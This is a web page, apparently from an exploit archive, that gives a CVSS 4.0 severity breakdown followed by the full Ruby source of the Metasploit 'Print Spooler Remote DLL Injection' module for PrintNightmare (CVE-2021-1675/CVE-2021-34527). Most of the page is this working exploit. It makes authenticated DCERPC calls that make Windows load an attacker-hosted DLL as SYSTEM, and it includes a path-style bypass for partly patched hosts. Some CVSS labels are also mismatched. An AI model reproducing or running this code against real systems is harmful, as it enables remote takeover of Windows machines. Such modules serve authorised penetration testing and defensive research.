The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements
Present
AT
The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Confidentiality Impact to the Vulnerable System
High
VC
There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Availability Impact to the Vulnerable System
High
VI
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the Vulnerable System. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the Vulnerable System.
Availability Impact to the Vulnerable System
High
VA
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Subsequent System Confidentiality Impact
Negligible
SC
There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Integrity Impact to the Subsequent System
None
SI
There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Availability Impact to the Subsequent System
None
SA
There is no loss of availibility within the Subsequent System or all availibility impact is constrained to the Vulnerable System.
Below is a copy: Print Spooler Remote DLL Injection
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'windows_error'
require 'ruby_smb'
require 'ruby_smb/error'
class MetasploitModule < Msf::Exploit::Remote
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Exploit::Remote::SMB::Server::Share
include Msf::Exploit::Retry
include Msf::Exploit::EXE
include Msf::Exploit::Deprecated
moved_from 'auxiliary/admin/dcerpc/cve_2021_1675_printnightmare'
PrintSystem = RubySMB::Dcerpc::PrintSystem
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Print Spooler Remote DLL Injection',
'Description' => %q{
The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted
DCERPC request, resulting in remote code execution as NT AUTHORITY\SYSTEM. This module uses the MS-RPRN
vector which requires the Print Spooler service to be running.
},
'Author' => [
'Zhiniang Peng', # vulnerability discovery / research
'Xuefeng Li', # vulnerability discovery / research
'Zhipeng Huo', # vulnerability discovery
'Piotr Madej', # vulnerability discovery
'Zhang Yunhai', # vulnerability discovery
'cube0x0', # PoC
'Spencer McIntyre', # metasploit module
'Christophe De La Fuente', # metasploit module co-author
],
'License' => MSF_LICENSE,
'DefaultOptions' => {
'SRVHOST' => Rex::Socket.source_address
},
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' => [
[
'Windows', {
'Platform' => 'win',
'Arch' => [ ARCH_X64, ARCH_X86 ]
},
],
],
'DisclosureDate' => '2021-06-08',
'References' => [
['CVE', '2021-1675'],
['CVE', '2021-34527'],
['URL', 'https://github.com/cube0x0/CVE-2021-1675'],
['URL', 'https://web.archive.org/web/20210701042336/https://github.com/afwu/PrintNightmare'],
['URL', 'https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1'],
['URL', 'https://github.com/byt3bl33d3r/ItWasAllADream']
],
'Notes' => {
'AKA' => [ 'PrintNightmare' ],
'Stability' => [CRASH_SERVICE_DOWN],
'Reliability' => [UNRELIABLE_SESSION],
'SideEffects' => [
ARTIFACTS_ON_DISK # the dll will be copied to the remote server
]
}
)
)
register_advanced_options(
[
OptInt.new('ReconnectTimeout', [ true, 'The timeout in seconds for reconnecting to the named pipe', 10 ])
]
)
deregister_options('AutoCheck')
end
def check
begin
connect(backend: :ruby_smb)
rescue Rex::ConnectionError
return Exploit::CheckCode::Unknown('Failed to connect to the remote service.')
end
begin
smb_login
rescue Rex::Proto::SMB::Exceptions::LoginError
return Exploit::CheckCode::Unknown('Failed to authenticate to the remote service.')
end
begin
dcerpc_bind_spoolss
rescue RubySMB::Error::UnexpectedStatusCode => e
nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first
if nt_status == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND
print_error("The 'Print Spooler' service is disabled.")
end
return Exploit::CheckCode::Safe("The DCERPC bind failed with error #{nt_status.name} (#{nt_status.description}).")
end
@target_arch = dcerpc_getarch
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/e81cbc09-ab05-4a32-ae4a-8ec57b436c43
if @target_arch == ARCH_X64
@environment = 'Windows x64'
elsif @target_arch == ARCH_X86
@environment = 'Windows NT x86'
else
return Exploit::CheckCode::Detected('Successfully bound to the remote service.')
end
print_status("Target environment: Windows v#{simple.client.os_version} (#{@target_arch})")
print_status('Enumerating the installed printer drivers...')
drivers = enum_printer_drivers(@environment)
@driver_path = "#{drivers.driver_path.rpartition('\\').first}\\UNIDRV.DLL"
vprint_status("Using driver path: #{@driver_path}")
print_status('Retrieving the path of the printer driver directory...')
@config_directory = get_printer_driver_directory(@environment)
vprint_status("Using driver directory: #{@config_directory}") unless @config_directory.nil?
container = driver_container(
p_config_file: 'C:\\Windows\\System32\\kernel32.dll',
p_data_file: "\\??\\UNC\\127.0.0.1\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.dll"
)
case add_printer_driver_ex(container)
when nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code
return Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.')
when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND
return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.')
when ::WindowsError::Win32::ERROR_BAD_NET_NAME
return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')
when ::WindowsError::Win32::ERROR_ACCESS_DENIED
return Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.')
end
Exploit::CheckCode::Detected('Successfully bound to the remote service.')
end
def run
fail_with(Failure::BadConfig, 'Can not use an x64 payload on an x86 target.') if @target_arch == ARCH_X86 && payload.arch.first == ARCH_X64
fail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.') if @environment.nil?
fail_with(Failure::Unknown, 'Failed to enumerate the driver directory.') if @config_directory.nil?
super
end
def setup
if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
end
super
end
def start_service
file_name << '.dll'
self.file_contents = generate_payload_dll
super
end
def primer
dll_path = unc
if dll_path =~ /^\\\\([\w:.\[\]]+)\\(.*)$/
# targets patched for CVE-2021-34527 (but with Point and Print enabled) need to use this path style as a bypass
# otherwise the operation will fail with ERROR_INVALID_PARAMETER
dll_path = "\\??\\UNC\\#{Regexp.last_match(1)}\\#{Regexp.last_match(2)}"
end
vprint_status("Using DLL path: #{dll_path}")
filename = dll_path.rpartition('\\').last
container = driver_container(p_config_file: 'C:\\Windows\\System32\\kernel32.dll', p_data_file: dll_path)
3.times do
add_printer_driver_ex(container)
end
1.upto(3) do |directory|
container.driver_info.p_config_file.assign("#{@config_directory}\\3\\old\\#{directory}\\#{filename}")
break if add_printer_driver_ex(container).nil?
end
cleanup_service
end
def driver_container(**kwargs)
PrintSystem::DriverContainer.new(
level: 2,
tag: 2,
driver_info: PrintSystem::DriverInfo2.new(
c_version: 3,
p_name_ref_id: 0x00020000,
p_environment_ref_id: 0x00020004,
p_driver_path_ref_id: 0x00020008,
p_data_file_ref_id: 0x0002000c,
p_config_file_ref_id: 0x00020010,
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913
p_name: "#{Rex::Text.rand_text_alpha_upper(2..4)} #{Rex::Text.rand_text_numeric(2..3)}",
p_environment: @environment,
p_driver_path: @driver_path,
**kwargs
)
)
end
def dcerpc_bind_spoolss
handle = dcerpc_handle(PrintSystem::UUID, '1.0', 'ncacn_np', ['\\spoolss'])
vprint_status("Binding to #{handle} ...")
dcerpc_bind(handle)
vprint_status("Bound to #{handle} ...")
end
def enum_printer_drivers(environment)
response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2)
response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2, p_drivers: [0] * response.pcb_needed, cb_buf: response.pcb_needed)
fail_with(Failure::UnexpectedReply, 'Failed to enumerate printer drivers.') unless response.p_drivers&.length
DriverInfo2.read(response.p_drivers.map(&:chr).join)
end
def get_printer_driver_directory(environment)
response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2)
response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2, p_driver_directory: [0] * response.pcb_needed, cb_buf: response.pcb_needed)
fail_with(Failure::UnexpectedReply, 'Failed to obtain the printer driver directory.') unless response.p_driver_directory&.length
RubySMB::Field::Stringz16.read(response.p_driver_directory.map(&:chr).join).encode('ASCII-8BIT')
end
def add_printer_driver_ex(container)
flags = PrintSystem::APD_INSTALL_WARNED_DRIVER | PrintSystem::APD_COPY_FROM_DIRECTORY | PrintSystem::APD_COPY_ALL_FILES
begin
response = rprn_call('RpcAddPrinterDriverEx', p_name: "\\\\#{datastore['RHOST']}", p_driver_container: container, dw_file_copy_flags: flags)
rescue RubySMB::Error::UnexpectedStatusCode => e
nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first
message = "Error #{nt_status.name} (#{nt_status.description})"
if nt_status == ::WindowsError::NTStatus::STATUS_PIPE_BROKEN
# STATUS_PIPE_BROKEN is the return value when the payload is executed, so this is somewhat expected
print_status('The named pipe connection was broken, reconnecting...')
reconnected = retry_until_truthy(timeout: datastore['ReconnectTimeout'].to_i) do
dcerpc_bind_spoolss
rescue RubySMB::Error::CommunicationError, RubySMB::Error::UnexpectedStatusCode => e
false
else
true
end
unless reconnected
vprint_status('Failed to reconnect to the named pipe.')
return nil
end
print_status('Successfully reconnected to the named pipe.')
retry
else
print_error(message)
end
return nt_status
end
error = ::WindowsError::Win32.find_by_retval(response.error_status.value).first
message = "RpcAddPrinterDriverEx response #{response.error_status}"
message << " #{error.name} (#{error.description})" unless error.nil?
vprint_status(message)
error
end
def rprn_call(name, **kwargs)
request = PrintSystem.const_get("#{name}Request").new(**kwargs)
begin
raw_response = dcerpc.call(request.opnum, request.to_binary_s)
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
fail_with(Failure::UnexpectedReply, "The #{name} Print System RPC request failed (#{e.message}).")
end
PrintSystem.const_get("#{name}Response").read(raw_response)
end
class DriverInfo2Header < BinData::Record
endian :little
uint32 :c_version
uint32 :name_offset
uint32 :environment_offset
uint32 :driver_path_offset
uint32 :data_file_offset
uint32 :config_file_offset
end
# this is a partial implementation that just parses the data, this is *not* the same struct as PrintSystem::DriverInfo2
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030
DriverInfo2 = Struct.new(:header, :name, :environment, :driver_path, :data_file, :config_file) do
def self.read(data)
header = DriverInfo2Header.read(data)
new(
header,
RubySMB::Field::Stringz16.read(data[header.name_offset..]).encode('ASCII-8BIT'),
RubySMB::Field::Stringz16.read(data[header.environment_offset..]).encode('ASCII-8BIT'),
RubySMB::Field::Stringz16.read(data[header.driver_path_offset..]).encode('ASCII-8BIT'),
RubySMB::Field::Stringz16.read(data[header.data_file_offset..]).encode('ASCII-8BIT'),
RubySMB::Field::Stringz16.read(data[header.config_file_offset..]).encode('ASCII-8BIT')
)
end
end
end
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum